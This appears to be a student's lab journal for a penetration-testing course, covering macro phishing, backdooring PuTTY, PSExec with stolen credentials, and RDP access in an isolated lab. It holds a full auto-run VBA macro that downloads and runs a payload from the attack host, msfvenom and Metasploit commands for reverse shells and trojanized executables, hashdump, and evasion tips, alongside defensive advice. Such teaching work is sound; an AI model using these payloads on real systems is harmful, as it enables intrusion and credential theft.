Entry 7‐ Week 5 ‐ Initial Access and Execution - 229300/SEC-335-01 GitHub Wiki

Assignment: Initial Access and Execution Techniques - Phishing, Backdooring, and Lateral Movement

Learning Objectives

After completing this assignment, you will be able to:

  1. Create and embed malicious macros into Microsoft Office documents to deliver payloads
  2. Backdoor legitimate Windows executables to maintain covert access
  3. Use stolen credentials with Metasploit's PSExec module to gain remote access
  4. Enumerate a compromised host using Meterpreter and identify valuable information for lateral movement
  5. Establish initial access via Remote Desktop Protocol (RDP) using compromised credentials
  6. Document each technique with screen recordings, command output, and explanations of attacker value

Background

Initial access is a critical phase in the cyber kill chain. Threat actors use multiple techniques to gain a foothold inside a target network. This assignment covers four primary initial access and execution methods used in penetration testing and observed in real-world attacks:

  • Malicious Macros: Microsoft Office macros (VBA) are commonly weaponized in phishing campaigns. A macro embedded in a Word document can download and execute arbitrary code when the document is opened and macros are enabled. This technique is widely used by threat groups such as APT28 (Fancy Bear), FIN7, Kimsuky, and APT32 (OceanLotus), as well as various financially motivated actors.

  • Backdoored Executables: Threat actors modify legitimate software to include hidden backdoors. When a user runs the backdoored program, the legitimate application functions normally while a covert payload executes in the background. Supply chain attacks and trojanized software distribution are common delivery mechanisms.

  • Credential-Based Access (PSExec): Stolen credentials can be leveraged with tools like Sysinternals PSExec to execute commands on remote systems. Metasploit provides a PSExec module that authenticates via SMB and deploys a Meterpreter session, mimicking lateral movement techniques used by threat actors who have harvested credentials from a compromised environment.

  • Remote Desktop Protocol (RDP): RDP provides graphical remote access to Windows systems. While RDP is more commonly documented as a lateral movement technique (T1021.001), threat actors also use it for initial access when they obtain valid credentials through phishing or credential dumps. Groups such as Scattered Spider, LAPSUS$, and Wizard Spider have leveraged compromised credentials for RDP-based access. RDP sessions blend with legitimate remote administration activity, making detection difficult.

MITRE ATT&CK Reference:

Lab Environment Setup

Use your Windows 10 VM on Proxmox. You need standard user (champuser) and administrator access.

Pre-requisites:

  1. Install Microsoft Word on your Windows 10 host using the provided installer as champuser:

    https://tinyurl.com/2wfxfyb5

  • Screenshots:
  1. Extract the file and double-click on the ‘install’ script.
  1. Wait for the install to finish. When it completes, it will have installed Microsoft Word.
  1. Ensure Metasploit Framework is installed on your Kali/attack VM
  • Confirm Metasploit is installed in a fresh terminal
  • Command:
msfconsole -v
  • Output Screenshot:
  1. Have network connectivity between your attack VM and the Windows 10 target
  • I could ping my Kali VM from Windows but not the other way around.
  • So I have to edit my Windows Firewall Rules via Admin PowerShell
  • Command:
New-NetFirewallRule -DisplayName "Allow Kali IP Through" -Protocol ICMPv4 -IcmpType 8 -Direction Inbound -Action Allow -RemoteAddress 10.0.17.25
  • Output Screenshots:
  1. Perform all tasks as champuser unless otherwise specified

Tasks

Task 1: Macro Creation and Delivery (25 points)

Objective: Create a malicious macro in Microsoft Word that downloads and executes a payload, demonstrating the technique threat actors use in phishing campaigns.

⚠️ NOTE ⚠️
This task demonstrates how macro-based phishing attacks work. The macro you create will download one of the exes from your Metasploit handler and execute it. This is the same technique used by advanced persistent threat groups in targeted attacks.

Steps:

  1. Open Word and navigate to View > Macros > View Macros
  2. Enter "AutoOpen" as the Macro Name and click Create
  • Screenshot:
  1. In the VBA editor, delete the default content and paste the provided macro code
Sub AutoOpen()
    Dim objShell As Object
    Dim objHTTP As Object
    Dim objStream As Object
    Dim strPath As String
    Dim strURL As String

    ' --- CONFIGURATION ---
    ' REPLACE THIS WITH YOUR ACTUAL IP ADDRESS AND RAT NAME
    strURL = "http://10.0.17.25:80/RAT.exe"
    strPath = Environ("USERPROFILE") & "\Documents\launcher.exe"
    ' ---------------------

    ' 1. Validate URL
    If InStr(strURL, "YOUR_ACTUAL_IP") > 0 Then
        MsgBox "ERROR: You must replace YOUR_ACTUAL_IP with your real IP address.", vbCritical
        Exit Sub
    End If

    On Error GoTo ErrHandler

    ' 2. Download File
    Set objHTTP = CreateObject("MSXML2.XMLHTTP")
    objHTTP.Open "GET", strURL, False
    objHTTP.Send

    If objHTTP.Status <> 200 Then
        MsgBox "Download Failed. HTTP Status: " & objHTTP.Status, vbCritical
        Exit Sub
    End If

    ' 3. Save File
    Set objStream = CreateObject("ADODB.Stream")
    objStream.Type = 1 ' adTypeBinary
    objStream.Open
    objStream.Write objHTTP.ResponseBody
    objStream.Position = 0
    objStream.SaveToFile strPath, 2 ' adSaveCreateOverWrite
    objStream.Close

    ' 4. Verify File Exists
    If Dir(strPath) = "" Then
        MsgBox "CRITICAL: File was not saved to disk.", vbCritical
        Exit Sub
    End If

    ' 5. Run File
    Set objShell = CreateObject("WScript.Shell")
    objShell.Run "cmd /c """ & strPath & """", 0, False

    Exit Sub

ErrHandler:
    MsgBox "ERROR " & Err.Number & ": " & Err.Description, vbCritical
End Sub
  1. Replace the placeholder IP address (YOUR\_ACTUAL\_IP) with the IP address of your attack VM: 10.0.17.25
  2. Set up your Metasploit listener to receive the connection

Ensure Real-Time Protection is off in Windows Defender

Two ports, two jobs:

  • Port 80 = the download port. The macro hardcodes http://10.0.17.25:80/RAT.exe, so my web server must listen on 80 and serve a file literally named RAT.exe.
  • LPORT (e.g. 5555) = the callback port. This is where the running payload connects back to your handler. It has nothing to do with port 80. The 5555 is fine here.

Generate the payload named RAT.exe to match the macro’s URL:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.17.25 LPORT=5555 -f exe -o RAT.exe

Host it on port 80 from the directory containing RAT.exe:

python3 -m http.server 80

Start the handler in a new terminal:

msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.17.25
set LPORT 5555
exploit
  • Output Screenshot:
  • Output Screenshot:
  1. Click the Play button in the VBA editor to execute the macro
  2. Verify that a shell session is established in Metasploit
  • Screenshot:
  1. Kill the Metasploit session and restart the listener for subsequent tasks
⚠️ Important ⚠️
The macro code includes error checking and placeholder validation for lab safety. In a real attack, these safety checks would not be present. The macro downloads a .exe file via HTTP, saves it to the user's Documents folder, and executes it using Shell.
⚠️ Tech Journal Submission ⚠️
Submit the following:
  1. a video showing the VBA editor with your macro code being pasted.
  1. a video of the macro executing and the download occurring.
  1. a video of the Meterpreter session being established in Metasploit
  1. an explanation of how this macro achieves code execution:

Complex: The macro is written in VBA and named AutoOpen, which Word treats as an automatic entry point: it runs on its own the moment the document opens and macros are allowed, with no further clicks from the victim. Once it fires, it creates an MSXML2.XMLHTTP object and makes an HTTP GET to the attacker's URL, pulls back the raw bytes of the executable, and uses an ADODB.Stream object to write those bytes to disk at Documents\launcher.exe. It then creates a WScript.Shell object and calls .Run with cmd /c to launch that file, using a hidden window and a non-blocking call so nothing visibly pops up for the user. So the chain is: document opens, macro auto-triggers, remote binary is downloaded, written to disk, and executed silently. The "execution" the victim performs is simply opening a Word file; the macro is what bridges that harmless-looking action to running an arbitrary program.

Simple: The macro is written in VBA and named AutoOpen, which means it runs automatically when the Word document is opened and macros are enabled. It downloads an executable file from the attacker's URL and saves it as launcher.exe in the user's Documents folder. It then uses WScript.Shell to run the file in the background without showing a window to the user. In simple terms, the process is: the user opens a Word document, the macro runs automatically, downloads a file, saves it to the computer, and launches it silently. The user only needs to open the document, while the macro handles the rest without making it obvious that a program is running.

  1. the MITRE ATT&CK technique ID.

The execution itself maps to T1059.005 (Command and Scripting Interpreter: Visual Basic), because it's VBA (Visual Basic for Applications) doing the work. That pairs with T1204.002 (User Execution: Malicious File) for the victim opening the document, and the delivery sits under T1566.001 (Phishing: Spearphishing Attachment).

Questions to Answer:

  1. Why is the "AutoOpen" macro name significant?

AutoOpen is a reserved name in Microsoft Word. Word automatically runs a procedure called AutoOpen as soon as the document is opened, so the attacker does not need the victim to find a button, run anything manually, or take any action beyond opening the file and allowing macros. That automatic-on-open behavior is exactly what makes it useful in phishing: the entire payload chain kicks off from the one thing a victim is socially engineered to do, which is open the attachment.

  1. What defensive measures can organizations implement to block macro-based attacks?
  • Block macros in Office files that came from the internet using the Group Policy setting "Block macros from running in Office files from the Internet," which keys off Mark of the Web. This stops the most common delivery path outright.
  • Disable macros by default and only allow digitally signed macros from trusted publishers.
  • Ensure Microsoft Defender Attack Surface Reduction rules are ON, especially "Block Win32 API calls from Office macros" and "Block Office applications from creating child processes," which would stop this macro from spawning cmd.
  • Filter email so macro-enabled attachments are stripped, flagged, or detonated in a sandbox before delivery.
  • Use application allowlisting (AppLocker or WDAC) so an unknown launcher.exe cannot run even if it lands on disk.

Task 2: Backdoor an Executable (25 points)

Objective: Add a backdoor to a legitimate Windows program that you’d use on a day-to-day basis, demonstrating how supply chain attacks and trojanized software can be used to maintain covert access.

⚠️ NOTE ⚠️
Backdooring an executable involves embedding a malicious payload into a legitimate program. When the user runs the program, the original functionality works normally while the backdoor executes silently in the background. This technique is commonly observed in supply chain compromises.

Steps:

  1. Download several legitimate Windows executables you would use regularly (e.g., PuTTY, WinSCP, or apps from PortableApps.com)
  2. Locate a resource on backdooring EXE files with msfvenom to understand the technique:
  1. Use msfvenom to embed a Meterpreter payload into the executable:
  • Change directories to /var/www and download the legitimate executable, in this case, the popular PuTTY client:
  • Command via Resource 1:
wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
  • Output Screenshot:

ERROR: Had a "Temporary failure in name resolution."

  • That error is a DNS / networking problem.
  • Troubleshooting commands:
ping -c3 8.8.8.8
  • The command above tests raw internet connectivity (no DNS)
ping -c3 google.com
  • The command above tests DNS on top of that
  • Output Screenshot:

Those commands show:

  • ping 10.0.17.50 → works → the lab network to my Windows VM is fine.
  • ping -c3 google.com → FAILS with “name resolution” → DNS is broken.
  • ping -c3 8.8.8.8 → works → I do have a route to the internet.

To fix this I have to point Kali to a different server:

  • First I'm going to check what's there now:
cat /etc/resolv.conf
  • Since I'd rather not lose internal resolution even briefly, I'm going to append instead of replace so both servers are available
  • Command:
echo -e "search cyber.local\nnameserver 10.0.17.2\nnameserver 8.8.8.8" | sudo tee /etc/resolv.conf
  • Output Screenshot:

Retry wget command (using sudo this time to avoid Permission Denial):

  • Output Screenshot:

Back on track:

  • Next, we use msfvenom to inject a meterpreter reverse payload into our executable, encode it 3 times using shikata_ga_nai and save the backdoored file into our webroot directory:
sudo msfvenom -a x86 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=10.0.17.25 lport=5555 -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o puttyX.exe
  • Output Screenshot:
  1. Set up your Metasploit listener to receive the connection.
The Practical Flow is:
1. Listener running in its own tab (handler waiting)
2. HTTP server running in its own tab (serving /var/www)
3. Then over on [Windows 10 VM], download puttyX.exe and run it
  • Since we have selected a reverse meterpreter payload, we need to setup the exploit handler to handle the connection back to our attacking (Kali) machine:
msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.17.25
set LPORT 5555
exploit
  • Output Screenshot:
  • Get HTTP Server to run in a fresh terminal via the /var/www path:
python3 -m http.server 8000
  • Output Screenshot:
  • In Windows VM browser type:
http://10.0.17.25:8000/puttyX.exe
  • Output Screenshot if the server wasn't started via /var/www:
  1. Execute the backdoored program on your Windows 10 VM

Correct Output:

  • On Windows Download and Start the special version of Putty:
  1. Verify that a Meterpreter session is established:
  • Back on Kali, ensure the session is opened:
  1. Verify that the original program still functions normally for the end user:

In the Backdoored Putty, the easiest SSH target is my Kali VM itself:

  • In a fresh Kali terminal ensure ssh is running:
sudo systemctl start ssh

sudo systemctl status ssh

sudo systemctl enable --now ssh
  • Output Screenshot:
  • In the Backdoored Putty Session:
  • Output Screenshot:
  1. Kill the session and restart the listener for subsequent tasks
⚠️ Important ⚠️
Ensure you test that the backdoored application still works as expected. This demonstrates the risk that users could be unaware that executing a normal-looking application has granted an attacker remote access to their system.
⚠️ Tech Journal Submission ⚠️
1. Submit a video showing:
- The Metasploit commands used to embed the payload:
- The Meterpreter session being established when executing the backdoored program:
- The original program still functions correctly (for example, if you backdoor putty, then show that it can still connect to an SSH server):
2. An explanation of how this technique achieves persistence and evasion:
  • This technique hides a Meterpreter payload inside a real program the user already wants, in my case PuTTY, so it slips past both the person and their security tools. Because msfvenom was run with the option that keeps the original program working, PuTTY still opens and connects to SSH exactly like normal, so the user has no reason to think anything is wrong and happily keeps the file. That trust is the main form of evasion: the malware gets to run under the name of software the user chose to install. The payload was also encoded a few times to scramble its pattern and try to fool signature-based antivirus, though in practice that is weak now, since Windows Defender still caught and deleted my file until I turned it off. As for persistence, this method does not truly survive a reboot on its own. What it does is reinfect through habit: every time the user opens their trusted PuTTY, my backdoor runs again and my session comes back.
3. The MITRE ATT&CK technique ID:

The main one for this task is T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain)

Questions to Answer:

  1. Why is it difficult for antivirus software to detect backdoored executables?

It is hard because the malicious code is buried inside a real, trusted program, so most of the file is still genuine software and nothing obvious stands out. On top of that, tools like msfvenom can scramble the payload with encoding and do it in many different ways, so the same backdoor can be rebuilt over and over to look like a brand new file each time. That said, it is not foolproof. Newer antivirus and EDR tools watch how a program behaves once it runs, not just what it looks like, which is why Windows Defender still caught my file until Real-Time Protections were off.

  1. How could an attacker distribute a backdoored executable at scale?

The easy way is to disguise it as something lots of people already want and push it through channels they already use. That means things like fake or copycat download sites, pirated or cracked software, trojanized installers posted on sketchy third-party download portals, email attachments in phishing attacks, or fake software updates. A more advanced version is attacking the real software maker and slipping the backdoor into their official product or update, so it reaches everyone who trusts that vendor. In every case the trick is the same: hide the backdoor inside something that looks desirable and legitimate so people install it themselves.

  1. What is the risk of using unsigned or unverified software from third-party sources?

The risk is that you have no real way to know the file is genuine or that it has not been tampered with. A digital signature is the check that proves the software really came from the company that claims to have made it and that nobody altered it afterward. When software is unsigned or comes from a random third-party source, you are basically trusting a stranger, and running it could hand an attacker full access to your system without you ever noticing. The safer habit is to download only from the official vendor and verify the signature or file hash before running it.

Task 3: Credential-Based Lateral Movement with PSExec (25 points)

Objective: Use stolen credentials with Metasploit's PSExec module to gain remote access to the target system and enumerate it using Meterpreter.

⚠️ NOTE ⚠️
PSExec is a legitimate Sysinternals tool for remote command execution. Metasploit's PSExec module leverages SMB authentication to deploy a Meterpreter session, mimicking lateral movement techniques used by threat actors who have harvested credentials.

Lab Setup:

As administrator: these two prep steps just remove Windows protections that would otherwise block the lab. They aren’t part of the “attack".

  1. Ensure you have valid champuser credentials for the Windows 10 VM
  2. Configure the Windows 10 VM to allow PSExec by adding the required registry key:
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
  • Output Screenshot:

Why:

By default Windows strips administrative rights from local accounts when they log in remotely. PSExec needs full admin rights over the network to install its service, so this key turns that filtering off. Without it, my credentials authenticate but the module fails to get the access it needs.

  1. Disable the Windows Firewall on the target VM for this lab exercise via these commands:
netsh advfirewall set allprofiles state off
  • Verify it’s actually off:
netsh advfirewall show allprofiles | findstr State

⚠️ Turn it back on when the lab is done ⚠️:

netsh advfirewall set allprofiles state on
  • Output Screenshot:

Steps:

  1. Search for and configure the PSExec module in Metasploit
  • On my Kali attack VM, launch msfconsole:
msfconsole -q
search psexec
  • Output Screenshot:
  1. Set all required options (RHOST, SMBUSER, SMBPASS) and verify with show options
use exploit/windows/smb/psexec
set RHOSTS 10.0.17.50
set SMBUSER champuser
set SMBPASS Ch@mpl@1n!25
  1. Use a Meterpreter payload: windows/x64/meterpreter/reverse_https:
set PAYLOAD windows/x64/meterpreter/reverse_https
  1. Use a non-default port (not 4444) to avoid triggering common alerts
set LHOST 10.0.17.25
set LPORT 3333
  1. Execute the module and verify the Meterpreter session is established
show options
exploit
  • Output Screenshot All put together:
  1. Run getuid to confirm your user security context:
  • Output Screenshot:
  1. Execute the following enumeration commands in Meterpreter and document each:

  • ipconfig

  • sysinfo

  • ps

  • netstat -an

    • 5 additional enumeration commands of my choice
    • arp
    • route
    • getprivs
    • hashdump
    • shell
⚠️ Important ⚠️
Using reverse_https instead of reverse_tcp is significant because HTTPS traffic blends with normal web browsing and is less likely to be flagged by network monitoring tools. The non-default port selection demonstrates operational awareness, as port 4444 is a well-known indicator of Metasploit activity.
⚠️ Tech Journal Submission ⚠️
Submit the following for each of the 9 commands:
1. Video of the exact command I ran and my enumeration executions:
2. an explanation paragraph describing what the output reveals to an attacker:

ipconfig — The ipconfig output shows the compromised host’s IP address(es), subnet mask, default gateway, and DNS servers. To an attacker this draws the first map of where they’ve landed: the subnet mask reveals how large the local network is and therefore how many other machines might be reachable, while the gateway and DNS entries point toward the routers and internal infrastructure worth pivoting to next.

sysinfo — The sysinfo output reveals the hostname, OS name and build number, architecture, logged-on user count, and domain or workgroup membership. To an attacker this fingerprints the target: the exact OS build dictates which privilege-escalation exploits will work, and the domain membership shows whether this is an isolated workstation or a machine joined to a larger Active Directory environment worth expanding into.

ps — The ps output lists every running process with its PID, owning user account, and session, mapping everything executing on the box. To an attacker this exposes which security products (EDR) are running to avoid, which processes belong to privileged users for token theft, and which trusted processes like explorer.exe make good hosts to migrate into for a stealthier, more durable foothold.

netstat -an — The netstat -an output lists all active connections and listening ports in numeric form, with local and remote addresses and their state. To an attacker this reveals the host’s trust relationships: established connections show which servers this machine already talks to (file servers, domain controllers, databases), exposing the quiet, already-trusted paths that are ideal routes for lateral movement.

arp — The arp output displays the ARP cache, listing the IP and MAC addresses of other machines this host has recently communicated with on the local network. To an attacker this is a ready-made list of live neighboring systems to target next, effectively naming nearby hosts for lateral movement without having to run a noisy network scan that might trip detection.

route — The route output (route table) shows the networks the host knows how to reach and the gateways it uses to get there. To an attacker this reveals which additional subnets and segments are routable from this machine, highlighting pathways into other parts of the network. Including segments that might otherwise seem isolated, which can be used for planning the next pivot.

getprivs — The getprivs output lists the Windows privileges currently assigned to the session’s token, such as SeDebugPrivilege or SeImpersonatePrivilege. To an attacker these privileges are the keys to escalation: holding rights like impersonation or debug allows techniques such as stealing other users’ tokens, injecting into protected processes, or elevating toward SYSTEM-level control.

hashdump — The hashdump output extracts the local account password hashes from the SAM database on the compromised host. To an attacker this is prime lateral-movement fuel: those hashes can be cracked offline to recover plaintext passwords, or passed directly to other systems in a pass-the-hash attack to authenticate as those users without ever knowing their actual password.

shell — The shell command drops the attacker from Meterpreter into a native Windows command prompt (cmd.exe) running in the session’s security context. To an attacker this provides a familiar, flexible environment to run any built-in Windows command or script directly on the target, enabling deeper enumeration and actions that blend in as ordinary command-line activity on the host.
3. the MITRE ATT&CK technique ID:

The main one for this task is: MITRE ATT&CK technique ID: T1057 (Process Discovery) and it's used with T1055 (Process Injection)
4. a video of the PSExec module execution establishing the session:
5. and a video of the screenshare module showing the Windows 10 desktop:

Questions to Answer:

  1. Why would you use reverse_https instead of reverse_tcp?
  • ​reverse_https wraps the callback traffic between the compromised host (Windows VM) and the attacker (Kali VM) in TLS encryption over port 443 (which is the same protocol and port as ordinary web browsing). This is important for two reasons: First, the payload traffic is encrypted, so network defenders using deep packet inspection or IDS/IPS signatures can’t read the contents of the Meterpreter communication the way they could with plaintext reverse_tcp. Second, it blends in because a Windows machine constantly making outbound HTTPS connections is completely normal, so the beacon doesn’t stand out against baseline traffic.
  1. Why is using a non-default port important for operational security?
  • Port 4444 is the well-known default for Metasploit/Meterpreter, so SIEM rules, and antivirus/EDR products specifically watch for connections on it. Observing traffic to 4444 is almost a signature of Metasploit activity by itself. Choosing a non-default port removes that high-confidence indicator and forces defenders to detect the activity on its behavior, rather than on a known-bad port number.
  1. Which of the 9 enumeration commands revealed the most valuable information for lateral movement and why?
  • The ps command revealed the most valuable information personally. It listed every running process on the target (Windows VM) along with each process’s PID, the user account it was running under, and its session/architecture. This was helpful for me because it allowed me to locate explorer.exe and its PID, which was running in the interactive desktop session as champuser. I needed that PID to migrate my Meterpreter session out of the non-interactive service session (Session 0, where PSExec dropped me as SYSTEM) and into champuser’s interactive desktop. Only after migrating into explorer.exe was I able to successfully run screenshare and view the screen of my Windows VM.
  1. How does the getuid output confirm the stolen credential attack was successful?
  • ​getuid reports the Windows account that the Meterpreter session is currently executing as. In other words, getuid states I’m executing as a legitimate account only because I reused its credentials. Which is the entire point of a valid-accounts / credential-based attack.

Task 4: RDP as Initial Access (25 points)

Objective: Enable Remote Desktop Protocol on the target system and establish a graphical remote session using compromised credentials, demonstrating how attackers use RDP for hands-on-keyboard access and lateral movement.

⚠️ NOTE ⚠️
RDP is one of the most commonly abused remote access protocols. While primarily documented as a lateral movement technique (T1021.001), threat actors also leverage stolen credentials for RDP-based initial access. Groups such as Scattered Spider and LAPSUS$ have used compromised credentials to authenticate via RDP for interactive, graphical access. Unlike command-line tools, RDP sessions appear similar to legitimate remote administration activity.

Prep on Windows VM:

  1. Enable Remote Desktop on your Windows 10 VM through System Properties or Group Policy
  • Settings → System → Remote Desktop → toggle On Output Screenshots:
  1. Verify RDP is listening on port 3389 using the command below on Windows 10:
  • In commands prompt type:
netstat -an | findstr 3389
  • Output Screenshot:

Steps:

  1. From your attack VM, use xfreerdp3 or equivalent RDP client to connect to the Windows 10 VM:
  • Command:
xfreerdp3 /v:10.0.17.50 /u:champuser '/p:Ch@mpl@1n!25'
  • Initially, the command above didn't work due to the ! in the password. In an interactive bash shell, ! triggers history expansion !25 meaning, “paste in history command number 25.” Command #25 in my history happened to be rm 01_user_groups_privs.txt.
  • To fix this I added quotes around the password.
  • Output Screenshot:
  1. Authenticate using the champuser credentials

When prompted: Type Y to trust the certificate.

  1. Verify successful connection by viewing the Windows desktop remotely
  2. Record the entire RDP session from connection to logout of the RDP session
⚠️ Tech Journal Submission ⚠️
Submit the following:
1. a video of the RDP client connection command from the attack VM through to the desktop appearing with a brief exploration of the remote desktop to prove interactive access:
2. an explanation of how RDP is used by threat actors for initial access and lateral movement:

RDP is a built-in Windows protocol (default TCP 3389) that gives full graphical, interactive control of a remote desktop. Because it’s a legitimate administrative tool, attackers love it and it allows them to operate as a real user with no exploit required. In terms of Initial access: Once an attacker obtains valid credentials through phishing, password spraying, credential dumps, etc.; they can log straight into any internet-exposed or VPN-reachable RDP host. In terms of Lateral movement, attackers harvest more credentials and then can hop toward domain controllers, file servers, or admin workstations. Each hop uses the same “legitimate login” cover, so it blends into normal admin traffic.
3. the MITRE ATT&CK technique ID.

The main technique is T1021.001 — Remote Services: Remote Desktop Protocol

Questions to Answer:

  1. How does an RDP session differ from a Meterpreter session in terms of attacker capabilities?

Meterpreter is powerful and automated but “loud” to defenders; RDP is less feature-rich as a hacking toolkit but far quieter because it is a legitimate tool. Attackers often use Meterpreter to establish and expand a foothold, then pivot to RDP (or other valid-account methods) for hands-on-keyboard work that evades detection.

  1. Why is RDP a preferred method for attackers who want to interact with a graphical environment?

Since RDP is built into Windows, it requires no extra tooling that antivirus or EDR might flag, and clicking through a desktop is simpler than chaining command-line steps. This makes it a classic “living off the land” technique because it abuses a trusted feature instead of deploying detectable malware.

  1. What network monitoring indicators would suggest unauthorized RDP access?

Key signs include RDP traffic (port 3389) from unusual sources such as external IPs or workstation-to-workstation connections. Rare or service/admin accounts logging in interactively are also suspicious. These are most reliable when correlated with Windows logs; notably Event ID 4624 Logon Type 10, 4625 for failures, and Terminal Services events.

  1. How can organizations restrict RDP access to reduce the attack surface?

The most important step is never exposing RDP to the internet. It should be placed behind a VPN, Remote Desktop Gateway, or jump host and requiring Multi-factor Authentication (MFA) so stolen credentials alone aren’t enough. In addition to enforcing Network Level Authentication, firewalling port 3389 to specific admin subnets, and limiting the Remote Desktop Users group to least privilege further reduce exposure. And finally, strong passwords, account lockout, patching, and disabling RDP on hosts that don’t need it are all good defenses.

⚠️ REMEMBER! ⚠️
Don't forget to turn the firewall back on: